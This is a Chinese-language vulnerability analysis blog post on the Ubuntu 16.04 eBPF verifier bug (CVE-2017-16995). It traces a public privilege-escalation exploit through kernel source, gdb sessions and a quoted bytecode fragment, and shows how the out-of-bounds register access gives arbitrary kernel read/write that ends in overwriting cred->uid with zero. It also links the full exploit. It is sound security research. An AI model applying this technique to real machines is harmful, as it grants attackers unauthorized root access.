Ubuntu 16.04 ebpf arbitrary read/write 漏洞分析

作者:k0shl
转载请注明出处,作者博客:https://whereisk0shl.top


0x01 前言


上周五,Nikolenko在twitter上公开了Ubuntu 16.04下的提权漏洞exploit,影响范围还是挺大的,看到朋友圈很多小伙伴在自己的云服务器上测试都可以完成提权,关于这个漏洞的影响范围还是参照对应的文档。我对这个漏洞进行了简单分析。

这个漏洞是BPF中的bpf_insn结构的问题,用户可以定义这个结构,并通过prog相关函数向内核提交相关的opcode,offset,imm等信息,而在ebpf内核验证器会调用bpf_check()函数对bpf_insn进行检查,由于对bpf_insn的成员变量字节码的控制不严格,主要是src_reg和dst_reg的控制不严格,导致可以对内核栈越界操作,从而可以利用write socket中bpf某个opcode操作特性来完成任意地址读写。

我也是刚刚接触Linux内核的分析,因此可能研究还不够深入,也希望师傅们能够交流讨论,感谢阅读!

调试环境:
Ubuntu 16.04.1
Linux ubuntu 4.4.98 #1 SMP Fri Mar 16 08:06:16 PDT 2018 x86_64 x86_64 x86_64 GNU/Linux


0x02 Linux内核调试环境搭建


在搭建内核调试环境的时候碰到了一些坑,这里和大家总结分享一下,linux远程调试有很多种方法,我常用的是qemu+gdb或者vmware+gdb,在这个漏洞中我使用的是vmware+gdb的调试方法,qemu配置启动项之类的有点麻烦,所以选了这个vmware。

内核编译同样有几种方法,上周看到了张银奎老师关于Linux调试的文章,受益匪浅,于是选择了拉取内核符号文件的方法,这种方法相比编译内核来说,能够获取更精准的小版本号,还是挺方便的。我在下载符号文件的时候由于网速问题,我最后还是采取内核编译的方法,这个方法网上很多资料,就不再详细赘述。

编译完成内核后,就是宿主机gdb通过target remote连接通信了,这里我最开始采用的是网上的方法,修改.vmx文件,添加debugStub.listen.guest64="1"方法,但是在gdb连接的时候会有问题,换了几个gdb版本问题还都不一样,最后采用串口连接的方式。

在Vmware添加串口/tmp/serialport,之后用socat -d -d /tmp/serialport PTY,连接成功后会打开/dev/pty/xx串口,之后用gdb连接就可以了。另外调试系统需要在grub中添加增加调试启动项,可以增加menuconfig或者修改一个menuconfig

 kgdbwait kgdb8250=io,03f8,ttyS0,115200,4 kgdboc=ttyS0,115200 kgdbcon


0x03 预备知识


BPF是一种常用的网络包过滤器,网上关于BPF以及extended BPF(eBPF)的描述在这里不进行赘述了,关于这个漏洞,我们需要了解两个数据结构,一个是bpf_map,这个数据结构被定义在include/linux/bpf.h中

struct bpf_map {
    atomic_t refcnt;
    enum bpf_map_type map_type;
    u32 key_size;
    u32 value_size;
    u32 max_entries;
    u32 pages;
    struct user_struct *user;
    const struct bpf_map_ops *ops;
    struct work_struct work;
    atomic_t usercnt;
};

另一个是eBPF的数据结构bpf_insn,它被定义在include/uapi/bpf.h中

struct bpf_insn {
    __u8    code;       /* opcode */
    __u8    dst_reg:4;  /* dest register */
    __u8    src_reg:4;  /* source register */
    __s16   off;        /* signed offset */
    __s32   imm;        /* signed immediate constant */
};

首先map作为ebpf和外部数据交互的重要数据结构,用户可以对map进行操作,比如写入特定值和读取特定值,从而实现对map的管理,这个条件很重要,是最后实现data-only attack的中间部件,而bpf_insn是prog中的一个重要数据结构,它可以通过bpf_prog_load函数,将用户态的字节码交给内核,同时在这个函数中会执行bpf_check(),对insn的字节码进行检验,这部分实现在kernel/bpf/syscall.c中

static int bpf_prog_load(union bpf_attr *attr)
{
    enum bpf_prog_type type = attr->prog_type;
    struct bpf_prog *prog;
    int err;
    char license[128];
    bool is_gpl;

……

    /* run eBPF verifier */
    err = bpf_check(&prog, attr);
    if (err < 0)
        goto free_used_maps;

……
}

其他关于bpf的信息可以看一下参考文章,以及一些重要的数据结构部分会在漏洞分析中提到。另外这里要提一下Linux内核栈,在Linux内核栈和thread_info,这个结构体被定义在linux/include/linux/sched.h

union thread_union {  
    struct thread_info thread_info;  
    unsigned long stack[THREAD_SIZE/sizeof(long)];    
};  

通过获取当前内核栈栈帧,就可以直接读取到thread_info,而task_struct就存放在thread_info中,关于内核栈更多的信息可以参考参考文章。

接下来我们进入漏洞利用分析。


0x04 漏洞分析及利用


首先我们分析一下Nikolenko的exploit,在exploit分为两部分,第一部分在prep()函数,第二部分在pwn()函数,在prep函数中,Nikolenko初始化了bpf_map和bpf_attr,这个bpf_attr是一个bpf的主要数据结构,其中包含了我们提到的bpf_insn,这个定义在 include/uapi/linux/bpf.h中

union bpf_attr {
    struct { /* anonymous struct used by BPF_MAP_CREATE command */
        __u32   map_type;   /* one of enum bpf_map_type */
        __u32   key_size;   /* size of key in bytes */
        __u32   value_size; /* size of value in bytes */
        __u32   max_entries;    /* max number of entries in a map */
    };

    struct { /* anonymous struct used by BPF_MAP_*_ELEM commands */
        __u32       map_fd;
        __aligned_u64   key;
        union {
            __aligned_u64 value;
            __aligned_u64 next_key;
        };
        __u64       flags;
    };

    struct { /* anonymous struct used by BPF_PROG_LOAD command */
        __u32       prog_type;  /* one of enum bpf_prog_type */
        __u32       insn_cnt;
        __aligned_u64   insns;
        __aligned_u64   license;
        __u32       log_level;  /* verbosity level of verifier */
        __u32       log_size;   /* size of user buffer */
        __aligned_u64   log_buf;    /* user supplied buffer */
        __u32       kern_version;   /* checked when prog_type=kprobe */
    };

    struct { /* anonymous struct used by BPF_OBJ_* commands */
        __aligned_u64   pathname;
        __u32       bpf_fd;
    };
} __attribute__((aligned(8)));

Nikolenko通过bpf_prog_load,将insn提交给内核,随后执行
setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd))
完成socket过滤器的初始化,关于bpf的系统调用的实现在kernel/bpf/syscall.c中,关于prep()和pwn()中的系统调用实现都在这个switch中。

接下来我们来看pwn部分是如何完成data-only attack EoP的,这也是漏洞的原因所在,在这部分中,我先和大家分享一下漏洞利用分析,再分享一下提权的整个过程。

第一部分,我们可以关注到在exploit中两个值得关注的函数bpf_update_elem和bpf_lookup_elem,这两个函数有点像Windows内核利用GDI data-only attack时的函数SetBitmapBits和GetBitmapBits,是实现任意地址读写的关键函数,但不是触发漏洞的,这两个函数可以直接操作bpf_map,两个相关实现在swtich语句中。这两个函数的具体实现都在kernel/bpf/syscall.c中。

    case BPF_MAP_LOOKUP_ELEM:
        err = map_lookup_elem(&attr);
        break;
    case BPF_MAP_UPDATE_ELEM:
        err = map_update_elem(&attr);

在详解这两个函数前我需要介绍一下bpf_attr中关于BPF_MAP_*_ELEM的几个关键结构。

    struct { /* anonymous struct used by BPF_MAP_*_ELEM commands */
        __u32       map_fd;
        __aligned_u64   key;
        union {
            __aligned_u64 value;
            __aligned_u64 next_key;
        };
        __u64       flags;
    };

其中key代表索引,value代表值,这两个值都可以通过bpf_attr结构在用户层指定,在map_lookup_elem中

static int map_lookup_elem(union bpf_attr *attr)
{
    void __user *ukey = u64_to_ptr(attr->key);//获取用户定义bpt_attr的key索引
    void __user *uvalue = u64_to_ptr(attr->value);//获取用户定义的bpf_attr的value
    ……
    if (copy_from_user(key, ukey, map->key_size) != 0)//拷贝用户指定的索引
        goto free_key;
    ……
    rcu_read_lock();
    ptr = map->ops->map_lookup_elem(map, key);//关键!后面会讲到
    if (ptr)
        memcpy(value, ptr, map->value_size);//拷贝用户索引在map中的值到value中
    rcu_read_unlock();
    ……
    if (copy_to_user(uvalue, value, map->value_size) != 0)//从内核空间拷贝至用户空间,更新value
        goto free_value;
    ……
}

而在map_update_elem中

static int map_update_elem(union bpf_attr *attr)
{
    void __user *ukey = u64_to_ptr(attr->key);//获取用户定义bpt_attr的key索引
    void __user *uvalue = u64_to_ptr(attr->value);//获取用户定义的bpf_attr的value
……  
if (copy_from_user(key, ukey, map->key_size) != 0)//从用户空间拷贝索引
        goto free_key;

……
    if (copy_from_user(value, uvalue, map->value_size) != 0)//从用户空间拷贝value
        goto free_value;

    /* eBPF program that use maps are running under rcu_read_lock(),
     * therefore all map accessors rely on this fact, so do the same here
     */
    rcu_read_lock();
    err = map->ops->map_update_elem(map, key, value, attr->flags);//关键!后面会提到
    rcu_read_unlock();
……
}

在lookup和update两个函数中都调用到了map->ops的操作,这是一个bpf_map_ops结构体,定义在include/linux/bpf.h中

struct bpf_map_ops {
    /* funcs callable from userspace (via syscall) */
    struct bpf_map *(*map_alloc)(union bpf_attr *attr);
    void (*map_free)(struct bpf_map *);
    int (*map_get_next_key)(struct bpf_map *map, void *key, void *next_key);

    /* funcs callable from userspace and from eBPF programs */
    void *(*map_lookup_elem)(struct bpf_map *map, void *key);
    int (*map_update_elem)(struct bpf_map *map, void *key, void *value, u64 flags);
    int (*map_delete_elem)(struct bpf_map *map, void *key);

    /* funcs called by prog_array and perf_event_array map */
    void *(*map_fd_get_ptr) (struct bpf_map *map, int fd);
    void (*map_fd_put_ptr) (void *ptr);
};

在动态调试的时候可以跟踪到ops函数调用的汇编代码,直接步入之后可以定位到map->ops的源码

   0xffffffff8117874c <+1052>:  mov    0x20(%r13),%rax
   0xffffffff81178750 <+1056>:  mov    %r12,%rsi
   0xffffffff81178753 <+1059>:  mov    %r13,%rdi
   0xffffffff81178756 <+1062>:  mov    0x18(%rax),%rax
   0xffffffff8117875a <+1066>:  callq  0xffffffff818538d0 <__x86_indirect_thunk_rax>
(gdb) si
array_map_lookup_elem (map=0xffff880023e83f00, key=0xffff880078862ba8)
    at kernel/bpf/arraymap.c:66
66  {

源码部分定义在kernel/bpf/arraymap.c中,相关函数是array_map_lookup_elem和array_map_update_elem,这两个函数在arraymap.c中的实现逻辑很简单

static void *array_map_lookup_elem(struct bpf_map *map, void *key)
{
    struct bpf_array *array = container_of(map, struct bpf_array, map);
    u32 index = *(u32 *)key;

    ……//check

    return array->value + array->elem_size * index;
}

static int array_map_update_elem(struct bpf_map *map, void *key, void *value,
                 u64 map_flags)
{
    struct bpf_array *array = container_of(map, struct bpf_array, map);
    u32 index = *(u32 *)key;

    ……//check

    memcpy(array->value + array->elem_size * index, value, map->value_size);
    return 0;
}

在这两个函数中,lookup会返回key索引对应map位置的value值,而update会更新value值到key索引对应map位置,我在update和lookup下了断点跟踪,Nikolenko的exploit中对每次对map的key索引0、1、2进行了3次update,然后在read功能中进行了lookup读取key索引为2的值。

首先我跟踪了获取task_struct时的第二次、第三次update,这个目的是通过内核栈帧获取task_struct的值,根据exploit的逻辑,这里写入map的值应该是0,内核栈帧,0。

(gdb) c//第二次update
Continuing.

Breakpoint 7, array_map_update_elem (map=0xffff880023e83f00, 
    key=<optimized out>, value=0xffff880078862b40, map_flags=0)
    at kernel/bpf/arraymap.c:114
114     memcpy(array->value + array->elem_size * index, value, map->value_size);

(gdb) i r rdi
rdi            0xffff880023e83f00   -131940792910080
(gdb) x/10g 0xffff880023e83f50
0xffff880023e83f50: 0x0000000000000008  0x0000000000000000
0xffff880023e83f60: 0x0000000000000000  0x0000000000000000

//返回时,update已经写入
(gdb) ni
115     return 0;
(gdb) x/10g 0xffff880023e83f50
0xffff880023e83f50: 0x0000000000000008  0x0000000000000000
0xffff880023e83f60: 0x0000000000000000  0xffff880068638000//写入了栈帧值
//再跟一下第三次写入
(gdb) c
Continuing.

Breakpoint 5, array_map_update_elem (map=0xffff880023e83f00, 
    key=0xffff880078862b20, value=0xffff880078862e20, map_flags=0)
    at kernel/bpf/arraymap.c:98
98  {
(gdb) x/g 0xffff880078862e20//第三次写入的值是0
0xffff880078862e20: 0x0000000000000000

//第三次写入后map对应索引位置的值是
(gdb) x/10g 0xffff880023e83f50
0xffff880023e83f50: 0x0000000000000008  0x0000000000000000
0xffff880023e83f60: 0x0000000000000000//第一次update写入的0    
0xffff880023e83f68:   0xffff880068638000//第二次update写入的栈帧
0xffff880023e83f70:   0x0000000000000000//第三次update写入的0

之后我命中了lookup的断点,按照exploit的定义,这里应该是读取key索引为2的值,按照刚才update跟踪的内容,在key索引为2的地方值应该为0,但在lookup时,这个位置的值变化了。

(gdb) si

Breakpoint 10, array_map_lookup_elem (map=0xffff880023e83f00, 
    key=0xffff880078862b40) at kernel/bpf/arraymap.c:74
74  }
(gdb) i r rax
rax            0xffff880023e83f70   -131940792909968
(gdb) x 0xffff880023e83f70
0xffff880023e83f70: 0xffff88006869ad00//对应位置的值变成了task_struct的值

这里在key索引为1的位置存放的内核栈帧中存放的task_struct的值已经被存放在key索引为2的位置,这就是由于漏洞产生的。

为了跟踪到发生这个问题的原因,我们可以这么下断点。

(gdb) watch *0xffff880023e83f70

重新跟踪update的内容,发现在update之后,lookup之前会命中内存写入断点,0xffff880023e83f70位置发生了写入操作。

(gdb) c
Continuing.

Program received signal SIGTRAP, Trace/breakpoint trap.
0xffffffff81177518 in __bpf_prog_run (ctx=0xffff880023e83f00, 
    insn=0xffffc90001650140) at kernel/bpf/core.c:856
856     LDST(DW, u64)
(gdb) x/30g 0xffff880023e83f00
0xffff880023e83f00: 0x0000000200000002  0x0000000800000004
0xffff880023e83f10: 0x0000000100000003  0xffff88007974a080
0xffff880023e83f20: 0xffffffff81a257e0  0x0000000000000000
0xffff880023e83f30: 0x0000000000000000  0x0000000000000000
0xffff880023e83f40: 0x0000000000000000  0x0000000000000001
0xffff880023e83f50: 0x0000000000000008  0x0000000000000000
0xffff880023e83f60: 0x0000000000000000  0xffff88006869b2f8
0xffff880023e83f70: 0xffff88004d916600//task_struct写入

到这里终于跟踪到了漏洞利用的关键位置,这里是opcode的LDST操作码,在这里可以完成整个内存的任意地址读写。而这个位置就是在exploit中writemsg()函数中触发的,问题发生在__bpf_prog_run函数中,这个函数定义在kernel/bpf/core.c中。

在LDST根据insn字节码对BPF regs操作的过程中,可以通过LDX_MEM读取任意内存地址,存入内核栈regs中,而STX_MEM可以将内核栈regs中的值写入任意地址,来看一下由write socket触发的栈回溯。

(gdb) bt
#0  0xffffffff81177518 in __bpf_prog_run (ctx=0xffff880023e83f00, 
    insn=0xffffc90001650140) at kernel/bpf/core.c:856
#1  0xffffffff81757b01 in bpf_prog_run_save_cb (skb=<optimized out>, 
    prog=<optimized out>) at include/linux/filter.h:379
#2  sk_filter_trim_cap (sk=<optimized out>, skb=0xffff880052cf1d00, cap=0)
    at net/core/filter.c:87
#3  0xffffffff817e9c7a in sk_filter (skb=<optimized out>, sk=<optimized out>)
    at include/linux/filter.h:438
#4  unix_dgram_sendmsg (sock=0xffff880079ff8000, msg=<optimized out>, len=64)
    at net/unix/af_unix.c:1727
#5  0xffffffff81723bbe in sock_sendmsg_nosec (msg=<optimized out>, 
    sock=<optimized out>) at net/socket.c:611
#6  sock_sendmsg (sock=0xffff880079ff8000, msg=0xffff88006863bdc0)
    at net/socket.c:621
#7  0xffffffff81723c55 in sock_write_iter (iocb=<optimized out>, 
    from=0xffff88006863be70) at net/socket.c:819
#8  0xffffffff81213055 in new_sync_write (filp=0xffff880023e83f00, 
    buf=<optimized out>, len=<optimized out>, ppos=0xffff880023e83f70)
    at fs/read_write.c:478
#9  0xffffffff812130c9 in __vfs_write (file=<optimized out>, 
    p=<optimized out>, count=<optimized out>, pos=<optimized out>)
    at fs/read_write.c:491
#10 0xffffffff81213a79 in vfs_write (file=0xffff8800687b5900,

关于__bpf_prog_run定义在include\linux\filter.h中

#define BPF_PROG_RUN(filter, ctx)  (*filter->bpf_func)(ctx, filter->insnsi)
    res = BPF_PROG_RUN(prog, skb);

根据动态调试的结果,bpf_prog_run的ctx参数的值就是map的值,而insn参数的值就是之前我们定义的prog的值,在exploit中prog是经过精心构造的,在prog中,opcode的字节码要确保bpf_prog_run要进入LDST,在LDST中,DST和SRC的定义是这样的

#define DST regs[insn->dst_reg]
#define SRC regs[insn->src_reg]

regs对应内核栈位置是由insn->dst_reg和insn->src_reg确定的,因此,如果对这两个变量如果不加以控制会导致可以对内核栈regs之外越界进行操作,因为regs是在bpf_prog_run中定义的,它会在内核栈中被开辟,来看一下bpf_prog_run函数

static unsigned int __bpf_prog_run(void *ctx, const struct bpf_insn *insn)
{
    u64 stack[MAX_BPF_STACK / sizeof(u64)];
    u64 regs[MAX_BPF_REG], tmp; //regs被定义
    static const void *jumptable[256] = {//会根据insn的opcode跳转,这里要跳转到LDST
        [0 ... 255] = &&default_label,
        /* Now overwrite non-defaults ... */
        /* 32 bit ALU operations */
        [BPF_ALU | BPF_ADD | BPF_X] = &&ALU_ADD_X,
        [BPF_ALU | BPF_ADD | BPF_K] = &&ALU_ADD_K,
        [BPF_ALU | BPF_SUB | BPF_X] = &&ALU_SUB_X,
        [BPF_ALU | BPF_SUB | BPF_K] = &&ALU_SUB_K,
……

因此regs在内核栈上,而insn->off可以由用户层指定,我们可以跟踪到任意地址写的汇编代码逻辑

   0xffffffff81177545 <+3669>:  movzx  eax,BYTE PTR [rbx+0x1]//rbx为insn *prog
   0xffffffff81177549 <+3673>:  movsx  rcx,WORD PTR [rbx+0x2]
   0xffffffff8117754e <+3678>:  add    rbx,0x8
   0xffffffff81177552 <+3682>:  mov    rdx,rax
   0xffffffff81177555 <+3685>:  shr    al,0x4
   0xffffffff81177558 <+3688>:  and    eax,0xf
   0xffffffff8117755b <+3691>:  and    edx,0xf
   0xffffffff8117755e <+3694>:  mov    rax,QWORD PTR [rbp+rax*8-0x270]
   0xffffffff81177566 <+3702>:  mov    rax,QWORD PTR [rax+rcx*1]
   0xffffffff8117756a <+3706>:  mov    QWORD PTR [rbp+rdx*8-0x270],rax//任意地址读
=> 0xffffffff81177572 <+3714>:  jmp    0xffffffff81176740 <__bpf_prog_run+80>

其中rbx的值就是prog中定义的,rbx的值为

(gdb) i r rbx
rbx            0xffffc900005ed138   -60473133313736
(gdb) x 0xffffc900005ed138
0xffffc900005ed138: 0x000000000000327b

这个值在exploit中定义的prog中

char *__prog = ……
"\x7b\x32\x00\x00\x00\x00\x00\x00"
……

通过rbx可以获取到rax和rcx,rdx的值,offset可以通过insn在用户层定义,而既然ctx指针就是map指针,而ctx作为参数传入后又会在内核栈中,因此,LDX_MEM完成的是从内核栈中regs里的地址存放的值的读取到regs的地址,而STX_MEM则是将regs里的值写入regs里地址指向的位置,而由于src_reg和dst_reg未进行严格的检查,可以越界操作内核栈,这么说可能有点晕,后面会有动态调试的记录,看上去就很清晰了。

以下过程描述,都是基于对bpf_insn字节码的定义完成的,这个过程需要attacker对bpf_insn进行精心构造(如同本次漏洞分析exploit中的char *prog定义),才能确保在write socket的时候opcode跳转到正确的位置(LDST),并且读取精心构造的src_reg,dst_reg,offset的字节码完成利用。

过程是这样的,我们可以通过内核栈地址读从map中读取想要读的任意内存地址,存放在regs对应的内核栈地址中,然后再通过任意地址读,把regs对应内核栈中存放的任意内存地址的值读出来,再通过内核栈地址写,把这个值写回map中,最后通过map_lookup_elem获取到这个值。

同样,对任意地址写来说,就更加方便一些,我们只需要通过内核栈地址读,将想写入的地址和想写入的值从map中读出来,然后分别存入regs的内核栈空间中,之后通过内核栈地址写,将想写入的值写入内核栈地址存放的任意地址就可以了。

下面我们分别来看一下这个由于offset字节码没有做好控制,导致oob r/w的exploit过程,这里我不列举全部过程,首先来看一下pwn()中__get_fp()的过程,因为这里比较直观,frame pointer就保存在内核栈中,可以直接通过内核栈地址写,将这个值直接写到map中。

(gdb) c
Continuing.

Breakpoint 59, 0xffffffff81177504 in __bpf_prog_run (ctx=0xffff88007600c400, 
    insn=0xffffc90000552158) at kernel/bpf/core.c:856
856     LDST(DW, u64)
(gdb) x/5i 0xffffffff81177504
=> 0xffffffff81177504 <__bpf_prog_run+3604>:    
    mov    rcx,QWORD PTR [rbp+rcx*8-0x270]//读取要存放的地址,这里是map
   0xffffffff8117750c <__bpf_prog_run+3612>:    
    mov    rax,QWORD PTR [rbp+rax*8-0x270]//越界读取内核栈framepointer的值
   0xffffffff81177514 <__bpf_prog_run+3620>:    
    mov    QWORD PTR [rcx+rdx*1],rax//将frame pointer存入map,对应map的地址是key索引为2的地址
   0xffffffff81177518 <__bpf_prog_run+3624>:    
    jmp    0xffffffff81176740 <__bpf_prog_run+80>
   0xffffffff8117751d <__bpf_prog_run+3629>:    movzx  eax,BYTE PTR [rbx+0x1]
(gdb) si
0xffffffff8117750c  856     LDST(DW, u64)
(gdb) i r rax
rax            0xa  10//rax存放的值为offset,这个值指向frame pointer
(gdb) si//单步步过后,frame pointer的值存放在rax,随后rax写入regs,之后map会读取key索引2读到frame pointer
0xffffffff81177514  856     LDST(DW, u64)
(gdb) i r rax
rax            0xffff88007311bc88   -131939464790904
(gdb) x/11g 0xffff88007311ba30//写入map前
0xffff88007311ba30: 0x0000000000000000  0xffff88007600c400
0xffff88007311ba40: 0xffff88007600c470//map的位置,key索引为2  
0xffff88007311ba48:   0x0000000000000001
0xffff88007311ba50: 0xffff88007fffb7c0  0xffff88007311bc10
0xffff88007311ba60: 0x0000000000000001  0x0000000000000000
0xffff88007311ba70: 0x0000000000000000  0xffff88007600c400
0xffff88007311ba80: 0xffff88007311bc88//frame pointer在这里

(gdb) si//执行mov    QWORD PTR [rcx+rdx*1],rax,写入map
0xffffffff81177518  856     LDST(DW, u64)
(gdb) i r rcx//map地址
rcx            0xffff88007600c470   -131939415571344
(gdb) x 0xffff88007600c470//frame pointer写入map,可以通过key索引2读到
0xffff88007600c470: 0xffff88007311bc88

接下来再看看任意地址写,我们以最后一步,向cred结构中的uid中写0x0为例__write(uidptr, 0);

(gdb) x/5i 0xffffffff8117755e
=> 0xffffffff8117755e <__bpf_prog_run+3694>:    //读取内核栈中存放map的值
    mov    rax,QWORD PTR [rbp+rax*8-0x270]
   0xffffffff81177566 <__bpf_prog_run+3702>:    //读取map的值,这个key索引为1,这个值为cred->uid
    mov    rax,QWORD PTR [rax+rcx*1]
   0xffffffff8117756a <__bpf_prog_run+3706>:    //将map的值存入regs
    mov    QWORD PTR [rbp+rdx*8-0x270],rax
   0xffffffff81177572 <__bpf_prog_run+3714>:    
    jmp    0xffffffff81176740 <__bpf_prog_run+80>
   0xffffffff81177577 <__bpf_prog_run+3719>:    movzx  eax,BYTE PTR [rbx+0x1]
(gdb) c
Continuing.

Breakpoint 60, 0xffffffff8117755e in __bpf_prog_run (ctx=0xffff88007600c400, 
    insn=0xffffc900005520d8) at kernel/bpf/core.c:856
856     LDST(DW, u64)
 (gdb) si
0xffffffff81177566  856     LDST(DW, u64)
(gdb) si
0xffffffff8117756a  856     LDST(DW, u64)
(gdb) i r rax //从map中读取到用户层传入的cred->uid
rax            0xffff88007307d804   -131939465439228
(gdb) i r rdx //offset
rdx            0x7  7
 (gdb) x/8g 0xffff88007311ba30
0xffff88007311ba30: 0xffff88007600c468  0xffff88007600c400
0xffff88007311ba40: 0xffff88007311bc84  0xffff88007307d800
0xffff88007311ba50: 0xffff88007fffb7c0  0xffff88007311bc10
0xffff88007311ba60: 0x0000000000000002  0x0000000000000000//cred->uid写入的regs位置
 (gdb) si
0xffffffff81177572  856     LDST(DW, u64)
(gdb) x/8g 0xffff88007311ba30
0xffff88007311ba30: 0xffff88007600c468  0xffff88007600c400
0xffff88007311ba40: 0xffff88007311bc84  0xffff88007307d800
0xffff88007311ba50: 0xffff88007fffb7c0  0xffff88007311bc10
0xffff88007311ba60: 0x0000000000000002  0xffff88007307d804//cred->uid写入
 (gdb) c//接下来时从map中读取要向cred->uid写入的值
Continuing.

Breakpoint 60, 0xffffffff8117755e in __bpf_prog_run (ctx=0xffff88007600c400, 
    insn=0xffffc90000552118) at kernel/bpf/core.c:856
856     LDST(DW, u64)
(gdb) si
0xffffffff81177566  856     LDST(DW, u64)
(gdb) si
0xffffffff8117756a  856     LDST(DW, u64)
(gdb) i r rax
rax            0x0  0
(gdb) si
0xffffffff81177572  856     LDST(DW, u64)
(gdb) x/9g 0xffff88007311ba30
0xffff88007311ba30: 0xffff88007600c470  0xffff88007600c400
0xffff88007311ba40: 0xffff88007311bc84  0xffff88007307d800
0xffff88007311ba50: 0xffff88007fffb7c0  0xffff88007311bc10
0xffff88007311ba60: 0x0000000000000002  0xffff88007307d804
0xffff88007311ba70: 0x0000000000000000  //value写入这里
(gdb) c//最后到达任意地址写
Continuing.

Breakpoint 59, 0xffffffff81177504 in __bpf_prog_run (ctx=0xffff88007600c400, 
    insn=0xffffc90000552168) at kernel/bpf/core.c:856
856     LDST(DW, u64)
(gdb) x/5i 0xffffffff81177504
=> 0xffffffff81177504 <__bpf_prog_run+3604>:    //从内核栈regs中要写0的地址
    mov    rcx,QWORD PTR [rbp+rcx*8-0x270]
   0xffffffff8117750c <__bpf_prog_run+3612>:    //获取value
    mov    rax,QWORD PTR [rbp+rax*8-0x270]
   0xffffffff81177514 <__bpf_prog_run+3620>:    //向cred->uid中写0,获得root权限
    mov    QWORD PTR [rcx+rdx*1],rax
   0xffffffff81177518 <__bpf_prog_run+3624>:    
    jmp    0xffffffff81176740 <__bpf_prog_run+80>
   0xffffffff8117751d <__bpf_prog_run+3629>:    movzx  eax,BYTE PTR [rbx+0x1]
(gdb) si
0xffffffff8117750c  856     LDST(DW, u64)
(gdb) si
0xffffffff81177514  856     LDST(DW, u64)
(gdb) i r rcx //从regs中获取到之前存放的cred->uid的地址
rcx            0xffff88007307d804   -131939465439228
(gdb) x/g 0xffff88007307d804//写入前,还是user权限
0xffff88007307d804: 0x000003e8000003e8
 (gdb) si
0xffffffff81177518  856     LDST(DW, u64)
(gdb) x/g 0xffff88007307d804//0已经写入,获得root权限
0xffff88007307d804: 0x0000000000000000

第二部分我来简述一下这个data-only attack的利用过程,data-only attack在这几年利用越来越成熟,因为它很方便,不需要shellcode,不需要ROP来disable SMEP,只需要通过某些数据结构的特性来完成提权利用。

在这个漏洞中,首先利用内核栈读取frame pointer,接下来通过frame pointer算出栈帧sp,而thread_info就保存在栈帧位置,这样通过任意地址读,来读取thread_info的值,再利用任意地址读获取task_struct,再以此法获取cred结构,最后向uid的位置写0x0,获取root权限。

这里在其他版本中,需要修改的就是cred offset,这个cred结构在task_struct中的偏移需要根据具体版本确定,关于task_struct的定义在include/linux/sche.h中

/* process credentials */
    const struct cred __rcu *ptracer_cred; /* Tracer's credentials at attach */
    const struct cred __rcu *real_cred; /* objective and real subjective task
                     * credentials (COW) */
    const struct cred __rcu *cred;  /* effective (overridable) subjective task
                     * credentials (COW) */
    char comm[TASK_COMM_LEN]; /* executable name excluding path
                     - access with [gs]et_task_comm (which lock
                       it with task_lock())
                     - initialized normally by setup_new_exec */

关于这个漏洞的修复可能还是需要在bpf_prog_load中的bpf_check直接对insn的字节码进行检查,主要还是对src_reg和dst_reg,以及offset的检查。

在这个漏洞利用中,利用了bpf_prog的特性完成了任意地址读写,在之前调试过的Linux内核洞中,多数都是采取传统的commit_creds(prepare_kernel_cred(0));方法,因此感觉这个漏洞及利用还是非常有意思的,感谢阅读!

0x05 参考文章

Ubuntu 16.04 exploit:http://cyseclabs.com/exploits/upstream44.c

CVE-2017-16995补丁:
https://github.com/torvalds/linux/commit/95a762e2c8c942780948091f8f2a4f32fce1ac6f

Linux内核调试环境搭建:http://advdbg.org/blogs/advdbg_system/articles/7147.aspx

关于BPF:http://blog.csdn.net/ljy1988123/article/details/50444693

关于内核栈:http://blog.csdn.net/tiankong_/article/details/75647488

Comments
Write a Comment
  • 感谢大佬,希望早日达到大佬的水平